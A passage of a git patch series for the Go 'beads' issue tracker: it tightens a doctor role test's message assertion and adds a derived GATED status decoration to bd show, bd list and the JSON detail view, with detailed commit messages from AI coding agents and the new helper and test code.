proxiedOpenReadUOW(ctx) if err != nil { return err @@ -607,16 +613,7 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss printRelatedSection(relatedSeen) comments, _ := proxiedGetComments(ctx, uw, issue.ID, isWisp) - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, c := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(c.CreatedAt)), c.Author) - rendered := uimd.RenderMarkdown(c.Text) - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + printComments(comments, in.commentsTail, formatTime, issue.ID) if in.longMode { fmt.Print(formatIssueLongExtras(issue, formatTime)) From 0ed6d47ba3c95dfefc9c114d55fc457ef039e3a2 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 8 Oct 2026 09:52:52 +0000 Subject: [PATCH 061/213] test(doctor): assert the nonexistent-path role check's N/A message (#6401) * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(doctor): isolate role lookups from inherited Git routing (saa-cgh.109.2) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(doctor): isolate legacy role fixtures from user home config (saa-cgh.109.2) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * review: reduce to the base-relative _NonexistentPath message assertion Iteration-2 maintainer review fix for #6401, amending the iteration-1 fixup rather than stacking a second one. Iteration 2 filed a blocker plus two majors: #6247 (`ced3dfe220`) landed this PR's entire remaining residual on main - helper name included - so the previous reduction had become unmergeable, and both obvious resolutions damage main. Installing the head's `role_test.go` compiles and leaves a green package while silently deleting `TestCheckBeadsRoleIgnoresInheritedRouting`, the 7-subtest table from #6461, with no CI tripwire. Keeping main's table while carrying this PR's `isolateGlobalGitConfig` fails to compile: the two branches added the same helper name in the same package with divergent signatures (ours void, main's `string`, consumed as `home := ...`), so main's is the incumbent. The reduction is therefore expressed against the adoption base `f66375459`, adding nothing main already has: `cmd/bd/doctor/role_test.go` is byte-identical to base except for the `check.Message != "N/A (not a git repository)"` assertion and the three-line comment explaining why status alone is not discriminating ("Configured as maintainer" is `StatusOK` too). This head neither defines nor calls `isolateGlobalGitConfig` - 0 occurrences - so main's helper and its two fixture call sites are left untouched. Net: +6/-1 against base, down from +25/-1, and the whole PR is now this one test file. Note for the next review pass: a prescribed remedy that writes upstream's content into the head is the failure mode here, not the fix. Doing that makes ours a superset of theirs in the same region, which git UNIONS rather than conflicts, duplicating main's table test - and `merge-tree` still reports rc 0, so a clean merge-tree is not a compile certificate. The two gates that catch it are vetting the EXTRACTED MERGED TREE and censusing `^func` names inside the MERGED file; both are run below and both are clean for this arm. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Bee Co-authored-by: Gas City Adopt-PR Co-authored-by: Eddie the Engineer --- cmd/bd/doctor/role_test.go | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index ae4c08a76..7a0836820 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -141,10 +141,15 @@ func TestCheckBeadsRole_NonexistentPath(t *testing.T) { // Test with a path that doesn't exist — git will report "not a git repository" check := CheckBeadsRole(filepath.Join(os.TempDir(), "nonexistent-beads-test-dir")) - // Should return OK/N/A since the path is not a git repository + // Should return OK/N/A since the path is not a git repository. Status alone + // cannot separate that from an ambient role leaking in: "Configured as + // maintainer" is StatusOK too, so the message is the discriminating claim. if check.Status != StatusOK { t.Errorf("expected status %s, got %s", StatusOK, check.Status) } + if check.Message != "N/A (not a git repository)" { + t.Errorf("expected message 'N/A (not a git repository)', got %q", check.Message) + } } func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { From c3a97e172d48b693744ae2b63f54244384f0eff4 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 10:37:51 +0000 Subject: [PATCH 062/213] show/list: render a derived GATED decoration when an open gate holds the bead (#6606) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * wy-j2upyy: render the derived GATED decoration on bd show and bd list A bead an open gate blocks is excluded from `bd ready` but rendered `[P2 · OPEN]` by `bd show` and with a plain ○ by `bd list`, so the human surfaces disagreed with the readiness query. The decoration is DERIVED, never stored: no status write, no --status filter change, no existing JSON field reshaped. - internal/types/gated.go: IsActiveGate, the ONE predicate — a gate-typed dependency reached over a blocking edge (blocks / conditional-blocks / waits-for) whose status is neither closed nor pinned. That is the is_blocked recompute's blocking leg restricted to gates, so a rendered GATED and a `bd ready` exclusion cannot disagree. GateDescription / GateReason own the reason's round trip with `bd gate create`. - bd show: `[P2 · OPEN · GATED]` plus one `Gated by: ([: ][, awaiting ])` line per gate, beside Deferred:. The dependency read the DEPENDS ON section already made is hoisted, so the decoration costs no extra query. - bd list: ⊘ in the glyph column (circle family, distinct from ○ and ❄), and a legend entry when the page carries one. Batched by id set — at most two extra queries per listing, one in the tree view where the edge map is already loaded. - --json: additive `gated_by: [{id,type,reason}]` on the detail view, omitted when empty; documented in the OpenAPI IssueDetails schema. Tests (red first): cmd/bd/gated_render_embedded_test.go drives real bd show/list/--json over an embedded rig — gated, resolved, deferred+gated, JSON additivity — plus pure unit tests for the predicate and formatters. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: document the additive gated_by field in the JSON schema reference Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: cover the flat list route's own batched gate read Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: make GATED the readiness rule's gate clause, both halves The adversarial review found the "one predicate shared with bd ready" claim false on two axes, and both were reproducible by hand: BLOCKER 1 — waits-for is not the status rule. The is_blocked recompute applies "target not closed and not pinned" only to its blocks / conditional-blocks legs; the waits-for leg goes through waitsForGateBlockedSQL, a fanout over the target's open parent-child children (or an also_blocks spawner). A plain `bd dep add X G -t waits-for` onto an open childless gate therefore leaves X in `bd ready` while every new surface called it GATED. Mirroring that leg in Go would be a second implementation of a rule the database owns, so the edge clause now names the two legs it really mirrors (types.IsGateEdge) and the test that pinned the wrong direction is flipped. BLOCKER 2 — the subject half was missing and spelled three different ways. unmarkAllBlockedSQL forces is_blocked=0 for a closed or pinned subject whatever its edges say, so `bd ready` never withholds one on a gate's account; show and workapi filtered nothing, cmd/bd/gated.go filtered closed only, and list_format.go filtered closed at two more sites. A force-closed bead rendered [CLOSED · GATED] with gated_by on show while list showed a plain row — show and list disagreeing about one bead, which is the drift this was meant to prevent. The clause is now types.SubjectCanBeGated, asked once in types.GatesHolding (which replaces ActiveGates and takes the subject) and once in the listing helper that has no hydrated deps; the formatters re-ask the SAME exported predicate rather than inventing a fourth spelling. SHOULD 3 — agent mode computed the gate reads and threw them away, in every CLAUDE_CODE seat, i.e. the population that filed the bug. Decorating it is the real fix, so gatesByIssueID now returns the gate IDS and formatAgentIssue carries "gated by: " in the parenthetical it already prints. A gate is also a blocker, so its id appears under both "blocked by" and "gated by": the first says what to wait on, the second says which of those nobody can clear by doing more work. --long and --format render no gate and no longer pay for the reads. NOTE 5 — a pinned+gated row kept ⊘ instead of 📌; with the subject clause a pinned bead is not gated at all, so the pin survives by construction. NOTE 6 — the cost comments claimed "two queries" / "exactly ONE"; the id-set readers are a few round trips each. The bound that is real (per page, never per row) is what the comments now say. Tests, red-first: the flipped waits-for case; TestGatesHoldingSubjectStatus and TestSubjectCanBeGated (open/in_progress/deferred yes, closed/pinned/nil no); TestFormatIssueCompactGated and TestFormatAgentIssueGated; and four embedded arms — a waits-for edge that bd ready lists and no surface decorates, a force-closed subject and a pinned subject that render nothing and publish no gated_by, and the agent line naming its gate. Each was watched to fail against the pre-fix predicate before it passed. Ran: go test ./internal/types/ -run 'TestGateIsHolding|TestGatesHolding| TestSubjectCanBeGated|TestGateDescriptionRoundTrip|TestGateRefsProjection'; go test ./cmd/bd/ -run 'TestFormat*Gated|TestFormatIssueCompact*| TestFormatDependencyInfoWithParent|TestListRoles*|TestDisplayPrettyList*'; BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ -run TestEmbeddedGatedRendering (11/11 subtests); gofmt -l (empty), go vet and golangci-lint on cmd/bd, internal/types, internal/ui, internal/workapi; scripts/ci/pr-policy.sh. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: render GATED on the proxied `bd show` text route SHOULD 4 of the review, and required for this rig: the constellation runs proxied-server, where `bd show --json` already carried gated_by (uow issue_reader -> workapi.BuildIssueDetails) while the TEXT renderer called the plain formatters. The same bead read two ways from the same server disagreed. proxiedRenderIssue now hoists the outgoing-edge read it already did for the DEPENDS ON section above the header — the gates are the gate-typed subset of that very set, so the decoration costs no extra query — and passes them to formatIssueHeaderWithGates / formatIssueMetadataWithGates. The proxied LIST routes were wired in the previous commit. TestProxiedServerGatedRendering covers all five text surfaces plus the JSON one beside them (header + Gated by line, pretty glyph, compact glyph + "gated by", agent line, and a closed subject that renders nothing). Watched red first with the proxied decoration stubbed out: four of six subtests failed, and the --json arm passed, which is exactly the asymmetry the review reported. Ran: BEADS_TEST_PROXIED_SERVER=1 go test ./cmd/bd/ -run TestProxiedServerGatedRendering -count=1 (6/6, 37.8s). Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: put cmd/bd/state.go on the shared "Reason:" marker NOTE 7 of the review: types' gateReasonMarker was not gate-private — cmd/bd/state.go wrote the same "\n\nReason: " into state-change EVENT descriptions from its own literal. No live collision (events are not gate-typed), but the constant's doc claimed GateReason returns "" for every gate not made by `bd gate create`, and that is false for any description carrying the marker. The previous commit exported the constant as types.ReasonMarker, reworded GateReason to say what the pair really guarantees (a round trip, not a provenance check) and pinned the honest behavior in TestGateDescriptionRoundTrip. This commit is the second writer: state.go now builds its event description from the same constant, so the two cannot drift apart by accident. Ran: go build ./...; go test ./internal/types/ -run TestGateDescriptionRoundTrip -count=1; gofmt -l cmd/bd/state.go (empty); go vet ./cmd/bd/. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: alias types.GateRef in package backend gated_by on IssueDetails makes GateRef reachable from the public backend contract; TestPublicSurfaceComplete requires every such type to carry an alias here. Co-Authored-By: Claude Fable 5.1 * wy-j2upyy: build(bazel): register gated.go and its tests in cmd/bd and internal/types The rebase onto e766da5ed carried the new source files but not their BUILD.bazel entries, so every Bazel lane failed to compile internal/types (undefined: GateRef). This is CI's own bazel-sync patch for 9ad7eb96c3, applied unchanged. Co-Authored-By: Claude Fable 5.1 * wy-j2upyy: compute gated_by AFTER the dependencies read in BuildIssueDetails The be-lpi merge (#6352) moved src.Dependencies() below the cardinality counts so the unresolvable-edge delta reads count-first. That hunk merged cleanly, which left details.GatedBy computed on the still-nil slice, and both CI shards' show_json…carries_gated_by subtests went red (PR Risk Embedded Dolt Cmd 20/20, Proxied Dolt Cmd 4/15 at d21237f3dc). Move the GatedBy line to directly after details.Dependencies = deps, still before the BriefDeps trim that rewrites the slice, and pin the ordering with a workapi unit test over both DetailSource seams and BriefDeps on/off (red on the pre-fix code, green after). Ran: go test ./internal/workapi; go vet ./internal/workapi; BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd -run TestEmbeddedGatedRendering; BEADS_TEST_PROXIED_SERVER=1 go test ./cmd/bd -run TestProxiedServerGatedRendering. Co-Authored-By: Claude Fable 5.1 * ci: register #6606's gated-rendering tests and gated_by wire shape with main's generated gates Maintainer fixup for adopt-pr #6606. The adopted head merges the PR head (c43eb567d2) into main (800d43eb8d). The PR's merge-base (02f05340f6) predates three generated artifacts on main that every PR adding a cmd/bd tier test or a wire member has to keep current, so the merged tree is red on them even though the PR's own CI cannot see them: - .github/scripts/embedded-cmd-test-shards.txt: the Bazel-only 50-shard block must name every TestEmbedded* test exactly once, or TestCmdEmbeddedShardManifestGeneratorNotStale fails `go test ./scripts/`. `gen_embedded_cmd_shard_manifest.py 50 --weights=duration --write` (incremental) placed TestEmbeddedGatedRendering on shard 16 and moved no existing assignment; the frozen 20-shard block is untouched. - .github/scripts/proxied-cmd-test-shards.txt: likewise for the 30-shard block and TestProxiedServerGatedRendering (shard 2), via `gen_proxied_shard_manifest.py 30 --weights=duration --write`, so TestProxiedShardManifestGeneratorNotStale passes. - internal/httpapi/wireshape/testdata/golden.json: TestWireShapeDigest (#7182) pins every response member. `go run ./internal/httpapi/wireshape/cmd/gendigest` recorded the PR's new IssueDetails.gated_by array and its id/type/reason members as four pure additions (+25/-0), so no wire_revision bump is owed. The PR's own files are unchanged. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(gated): state gated_by one way, mark --watch as undecorated, fix stale refs Review follow-ups for #6606. Comment and doc text only; no behavior change. - gated_by is now documented in one direction. internal/types/types.go, internal/types/gated.go and docs/reference/json-schema.md said the list is nonempty EXACTLY when `bd ready` withholds the issue on a gate's account. Only one direction holds: the is_blocked recompute also blocks a child whose parent is blocked (its parent-child legs), so a child of a gated parent leaves `bd ready` with an empty gated_by. All three now say "nonempty means withheld", as the OpenAPI text already did, and name the parent-child case. - bd list --watch passes a nil gated map on both routes (runListProxiedWatch, displayWatchedIssueList), so a bead the one-shot listing marks with the gated glyph keeps its plain status glyph while watched. Watch is out of this PR's scope; the three call sites now say so instead of reading as a forgotten argument. - show_format.go named types.ActiveGates, which does not exist; the predicate is types.GatesHolding. - gated.go's best-effort note compared the gate read with `bd list`'s blocking annotation, which only the direct route swallows. It now scopes that comparison to the direct route and names the proxied route's failing read (A-blk-1). - proxiedGatedIssueIDsOwnUOW now notes that its unit of work is a second snapshot, so one render can name a just-resolved gate under "blocked by:" but not "gated by:". Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(list): hydrate proxied gate candidates from both planes (bd-p8k7dm) The proxied list resolved gate candidates through the use case's GetIssuesByIDs, which reads the issues table only, while the edges it resolved came from GetForIssueIDs, which reads both dependency tables. A wisp gate (`bd mol wisp` clones a formula's gates as wisps, held to a wisp step by a blocks edge) therefore hydrated to nothing. Its step listed undecorated in pretty, --flat and agent output while `bd show`, `--json` and `bd ready` called it gated. Read the wisps beside the issues, the two-plane idiom ready_proxied_server.go and uowMolReader already use. A failed wisps read keeps the durable candidates. Correct the cost-bound comment that claimed the id-set readers partition the planes on both routes. Tests: a wisp-step + wisp-gate case in TestProxiedServerGatedRendering and TestEmbeddedGatedRendering asserts the pretty, --flat and CLAUDE_CODE=1 rows of `bd list --include-ephemeral`, and TestProxiedGatedIssueIDsHydratesBothPlanes pins both planes plus the failed-wisps-read fallback. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + backend/types.go | 1 + cmd/bd/BUILD.bazel | 5 + cmd/bd/gate.go | 8 +- cmd/bd/gated.go | 208 +++++++++++ cmd/bd/gated_format_test.go | 171 +++++++++ cmd/bd/gated_render_embedded_test.go | 351 ++++++++++++++++++ .../gated_render_proxied_integration_test.go | 166 +++++++++ cmd/bd/gated_test.go | 77 ++++ cmd/bd/list.go | 21 +- cmd/bd/list_footer_counts_test.go | 2 +- cmd/bd/list_format.go | 58 ++- cmd/bd/list_helpers_test.go | 8 +- cmd/bd/list_proxied_server.go | 27 +- cmd/bd/list_roles_test.go | 4 +- cmd/bd/list_show_filter_modes.go | 7 +- cmd/bd/list_test.go | 33 +- cmd/bd/list_tree.go | 34 +- cmd/bd/list_tree_cycle_test.go | 6 +- cmd/bd/show.go | 28 +- cmd/bd/show_format.go | 55 ++- cmd/bd/show_proxied_server.go | 28 +- cmd/bd/state.go | 5 +- docs/reference/json-schema.md | 13 + internal/httpapi/spec/openapi.v0.yaml | 28 ++ .../httpapi/wireshape/testdata/golden.json | 25 ++ internal/types/BUILD.bazel | 2 + internal/types/gated.go | 185 +++++++++ internal/types/gated_test.go | 163 ++++++++ internal/types/types.go | 13 + internal/ui/styles.go | 7 + internal/workapi/detail.go | 10 + internal/workapi/detail_test.go | 55 +++ 34 files changed, 1730 insertions(+), 76 deletions(-) create mode 100644 cmd/bd/gated.go create mode 100644 cmd/bd/gated_format_test.go create mode 100644 cmd/bd/gated_render_embedded_test.go create mode 100644 cmd/bd/gated_render_proxied_integration_test.go create mode 100644 cmd/bd/gated_test.go create mode 100644 internal/types/gated.go create mode 100644 internal/types/gated_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 6b4d1dfd0..b1c7b0e8c 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -293,6 +293,7 @@ 50 16 TestEmbeddedBlockedLabelFilters 50 16 TestEmbeddedGCConditionalMatcherDecode 50 16 TestEmbeddedGateInheritsDownParentChain +50 16 TestEmbeddedGatedRendering 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady 50 16 TestEmbeddedMemoryCorpusBudget diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index b6f95b315..b51c393b8 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -434,6 +434,7 @@ 30 26 TestProxiedServerFindDuplicates 30 26 TestProxiedServerGateCheck 30 26 TestProxiedServerGateFrontDoorDirectServerProxyParity +30 26 TestProxiedServerGatedRendering 30 26 TestProxiedServerServeAddComment 30 26 TestProxiedServerServeSettingsWrites 30 26 TestProxiedServerState diff --git a/backend/types.go b/backend/types.go index 65e2590aa..bf3fde0ab 100644 --- a/backend/types.go +++ b/backend/types.go @@ -22,6 +22,7 @@ type ( EpicStatus = types.EpicStatus Event = types.Event EventType = types.EventType + GateRef = types.GateRef Issue = types.Issue IssueDetails = types.IssueDetails IssueFilter = types.IssueFilter diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 043175545..8f5ea468f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -138,6 +138,7 @@ go_library( "gate.go", "gate_discover.go", "gate_proxied_server.go", + "gated.go", "gc.go", "gc_proxied_server.go", "gc_prune.go", @@ -778,6 +779,10 @@ go_test( "gate_lifecycle_proxied_integration_test.go", "gate_routing_test.go", "gate_test.go", + "gated_format_test.go", + "gated_render_embedded_test.go", + "gated_render_proxied_integration_test.go", + "gated_test.go", "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index f7c429d08..ff1eb65a5 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -423,10 +423,10 @@ func buildGateIssue(in gateCreateInput, targetID string) *types.Issue { title = in.titleFlag } - desc := fmt.Sprintf("Ad-hoc gate blocking %s", targetID) - if in.reason != "" { - desc = fmt.Sprintf("%s\n\nReason: %s", desc, in.reason) - } + // types owns the description format because it also owns the read back + // out of it (types.GateReason), which is what puts the reason on + // `bd show`'s "Gated by:" line and in the detail view's gated_by. + desc := types.GateDescription(targetID, in.reason) return &types.Issue{ Title: title, diff --git a/cmd/bd/gated.go b/cmd/bd/gated.go new file mode 100644 index 000000000..3051d0c3f --- /dev/null +++ b/cmd/bd/gated.go @@ -0,0 +1,208 @@ +package main + +import ( + "context" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" +) + +// gateDepLoader reads the dependency records of a page of ids. +type gateDepLoader func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) + +// gateHydrator resolves the gate CANDIDATES a page's edges name into issues, +// from BOTH planes: a gate can be a wisp (`bd mol wisp` clones a formula's +// gates as wisps), and a candidate the hydrator misses is no error but a nil +// target, which GateIsHolding reads as no gate — the row goes undecorated +// while `bd show` and `bd ready` call the bead gated. +type gateHydrator func(ctx context.Context, ids []string) ([]*types.Issue, error) + +// gatesByIssueID returns, per listed id, the OPEN gates holding it back — the +// ids themselves, so a row can name the gate rather than only admit one exists. +// An issue with no live gate is absent from the map. +// +// BATCHED BY ID SET, never per row: the dependency rows for the whole page come +// back in one call (or from the map a tree view has already loaded), and the +// gate candidates they name are hydrated in one more. The COST BOUND is per +// page, not per row — two calls whatever the page length — though each of those +// calls is itself a few round trips (each reads the issues and the wisps plane +// separately and batches its INs), so "two queries" understates the wire +// traffic and "per page" is the promise that matters. +// +// The verdict is types.GateIsHolding plus types.SubjectCanBeGated — the one +// predicate `bd show`, the detail view and the readiness query's is_blocked +// column all share — so a glyph here and a GATED header there cannot say +// different things about the same bead. +// +// Best effort: a read that fails yields no decoration rather than failing the +// listing, on both routes. That matches how the direct `bd list` route treats +// its blocking annotation; the proxied route instead FAILS on that +// annotation's read (A-blk-1), a split this helper leaves alone. +func gatesByIssueID( + ctx context.Context, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, + loadDeps gateDepLoader, + hydrate gateHydrator, +) map[string][]string { + if len(issues) == 0 || hydrate == nil { + return nil + } + + // The SUBJECT clause, asked once here so no formatter has to re-ask it: a + // closed or pinned bead is out of `bd ready` for its own reasons and is + // never decorated, so it does not even join the dependency read. + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + if !types.SubjectCanBeGated(issue) { + continue + } + ids = append(ids, issue.ID) + } + if len(ids) == 0 { + return nil + } + + depsByIssue := preloadedDeps + if depsByIssue == nil { + if loadDeps == nil { + return nil + } + var err error + depsByIssue, err = loadDeps(ctx, ids) + if err != nil { + return nil + } + } + + // Candidate targets: the gate-rule edges of the ids on this page. A gate + // reached over any other edge (waits-for, parent-child, relates-to) does + // not hold anything back by the status rule, and the predicate would + // reject it anyway; skipping it here keeps the hydration batch small. + var targetIDs []string + seen := make(map[string]bool) + for _, id := range ids { + for _, dep := range depsByIssue[id] { + if dep == nil || !types.IsGateEdge(dep.Type) || seen[dep.DependsOnID] { + continue + } + seen[dep.DependsOnID] = true + targetIDs = append(targetIDs, dep.DependsOnID) + } + } + if len(targetIDs) == 0 { + return nil + } + + targets, err := hydrate(ctx, targetIDs) + if err != nil { + return nil + } + targetByID := make(map[string]*types.Issue, len(targets)) + for _, target := range targets { + if target != nil { + targetByID[target.ID] = target + } + } + + gated := make(map[string][]string) + for _, id := range ids { + for _, dep := range depsByIssue[id] { + if dep == nil { + continue + } + if types.GateIsHolding(dep.Type, targetByID[dep.DependsOnID]) { + gated[id] = append(gated[id], dep.DependsOnID) + } + } + } + if len(gated) == 0 { + return nil + } + return gated +} + +// gatedIssueIDs is gatesByIssueID on the direct (embedded / non-proxied) route. +func gatedIssueIDs( + ctx context.Context, + st storage.DoltStorage, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, +) map[string][]string { + if st == nil { + return nil + } + return gatesByIssueID(ctx, issues, preloadedDeps, + func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + return st.GetDependencyRecordsForIssues(ctx, ids) + }, + func(ctx context.Context, ids []string) ([]*types.Issue, error) { + return st.GetIssuesByIDs(ctx, ids) + }) +} + +// proxiedGatedIssueIDs is gatesByIssueID on the proxied-server route, reading +// through a unit of work the caller already holds. The proxied --json routes +// get gated_by from workapi.BuildIssueDetails; this is what keeps the proxied +// TEXT routes from rendering a plain OPEN row for the same bead. +func proxiedGatedIssueIDs( + ctx context.Context, + uw uow.UnitOfWork, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, +) map[string][]string { + if uw == nil { + return nil + } + return gatesByIssueID(ctx, issues, preloadedDeps, + func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + return uw.DependencyUseCase().GetForIssueIDs(ctx, ids) + }, + func(ctx context.Context, ids []string) ([]*types.Issue, error) { + return proxiedGateCandidates(ctx, uw, ids) + }) +} + +// proxiedGateCandidates is the proxied gateHydrator. Unlike the direct route's +// st.GetIssuesByIDs, the use case's GetIssuesByIDs reads the issues table +// only, while the edges came from GetForIssueIDs, which reads both dependency +// tables — so the wisps are read beside it, the two-plane idiom +// ready_proxied_server.go and uowMolReader already use for ids that may be +// wisps. +// +// A failed wisps read keeps the durable candidates: it costs the wisp gates +// their decoration, not the whole page. +func proxiedGateCandidates(ctx context.Context, uw uow.UnitOfWork, ids []string) ([]*types.Issue, error) { + issues, err := uw.IssueUseCase().GetIssuesByIDs(ctx, ids) + if err != nil { + return nil, err + } + wisps, err := uw.IssueUseCase().GetWispsByIDs(ctx, ids) + if err != nil { + return issues, nil + } + return append(issues, wisps...), nil +} + +// proxiedGatedIssueIDsOwnUOW serves the proxied compact and agent listings, +// which reach their blocking annotation through a role rather than a unit of +// work and so hold none to lend. It opens one, reads, and closes it; a failure +// to open yields no decoration, because a listing that renders is worth more +// than one that refuses over a glyph. +// +// Its unit of work is a second snapshot, read after the blocking annotation's: +// a gate resolved between the two can leave one render naming the gate under +// "blocked by:" but not "gated by:", or the reverse. Cosmetic, and gone on the +// next call. +func proxiedGatedIssueIDsOwnUOW(ctx context.Context, issues []*types.Issue) map[string][]string { + if len(issues) == 0 { + return nil + } + uw, err := openProxiedListUOW(ctx) + if err != nil { + return nil + } + defer uw.Close(ctx) + return proxiedGatedIssueIDs(ctx, uw, issues, nil) +} diff --git a/cmd/bd/gated_format_test.go b/cmd/bd/gated_format_test.go new file mode 100644 index 000000000..2a6e6599a --- /dev/null +++ b/cmd/bd/gated_format_test.go @@ -0,0 +1,171 @@ +package main + +import ( + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" +) + +func openGate(id, awaitType, reason, awaitID string) *types.Issue { + return &types.Issue{ + ID: id, + IssueType: types.TypeGate, + Status: types.StatusOpen, + AwaitType: awaitType, + AwaitID: awaitID, + Description: types.GateDescription("bd-target", reason), + } +} + +func TestFormatIssueHeaderGatedMarker(t *testing.T) { + issue := &types.Issue{ID: "bd-target", Title: "Ship it", Status: types.StatusOpen, Priority: 2} + + plain := formatIssueHeaderWithGates(issue, nil) + if !strings.Contains(plain, "[P2 · OPEN]") { + t.Errorf("ungated header = %q, want the untouched [P2 · OPEN]", plain) + } + if strings.Contains(plain, "GATED") { + t.Errorf("ungated header claims GATED: %q", plain) + } + if plain != formatIssueHeader(issue) { + t.Errorf("formatIssueHeader disagrees with the nil-gate call:\n%q\n%q", formatIssueHeader(issue), plain) + } + + gated := formatIssueHeaderWithGates(issue, []*types.Issue{openGate("bd-gate", "human", "", "")}) + if !strings.Contains(gated, "[P2 · OPEN · GATED]") { + t.Errorf("gated header = %q, want [P2 · OPEN · GATED]", gated) + } + if !strings.Contains(gated, "Ship it") { + t.Errorf("gated header lost the title: %q", gated) + } +} + +func TestFormatIssueMetadataGatedLines(t *testing.T) { + issue := &types.Issue{ID: "bd-target", Title: "Ship it", Status: types.StatusOpen, Priority: 2, CreatedBy: "bee"} + + if got := formatIssueMetadataWithGates(issue, nil); strings.Contains(got, "Gated by:") { + t.Errorf("ungated meta block mentions a gate: %q", got) + } + + gates := []*types.Issue{ + openGate("bd-g1", "human", "Need design review", ""), + openGate("bd-g2", "gh:pr", "", "42"), + openGate("bd-g3", "", "", ""), 